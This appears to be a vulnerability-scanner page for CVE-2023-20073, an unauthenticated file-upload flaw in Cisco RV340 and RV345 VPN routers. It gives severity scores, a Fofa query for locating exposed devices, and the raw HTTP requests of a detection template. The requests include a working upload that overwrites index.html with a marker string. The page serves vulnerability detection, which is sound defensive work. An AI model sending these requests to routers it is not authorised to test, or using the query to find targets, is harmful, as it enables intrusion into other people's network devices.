| Title | Cisco VPN Routers - Unauthenticated Arbitrary File Upload |
|---|---|
| Author | princechaddha,ritikchaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to remote code execution or unauthorized access to sensitive information. |
| Remediation | Apply the latest security patches provided by Cisco to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9134 |
| CVE ID | CVE-2023-20073 |
| CWE ID | CWE-434 |
| Fofa Query | app="CISCO-RV340" || app="CISCO-RV340W" || app="CISCO-RV345" || app="CISCO-RV345P"app="cisco-rv340" || app="cisco-rv340w" || app="cisco-rv345" || app="cisco-rv345p" |
| Tags | cve2023 cve xss fileupload cisco unauth routers vpn intrusive vkev vuln |
A vulnerability in the web-based management interface of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device. This vulnerability is due to insufficient authorization enforcement mechanisms in the context of file uploads. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to upload arbitrary files to the affected device.
GET /index.html HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept-Encoding: gzip
POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
Connection: close
Content-Length: 568
Authorization: 1
Content-Type: multipart/form-data; boundary=------------------------f6f99e26f3a45adf
Accept-Encoding: gzip
--------------------------f6f99e26f3a45adf
Content-Disposition: form-data; name="pathparam"
Portal
--------------------------f6f99e26f3a45adf
Content-Disposition: form-data; name="fileparam"
index.html
--------------------------f6f99e26f3a45adf
Content-Disposition: form-data; name="file.path"
index.html
--------------------------f6f99e26f3a45adf
Content-Disposition: form-data; name="file"; filename="index.html"
Content-Type: application/octet-stream
uvMvkS
<!-- 38EtQq7Kg2D62a9SmQ0kzove8Qk -->
--------------------------f6f99e26f3a45adf--
GET /index.html HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-20073.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-20073.pcap
N/AN/A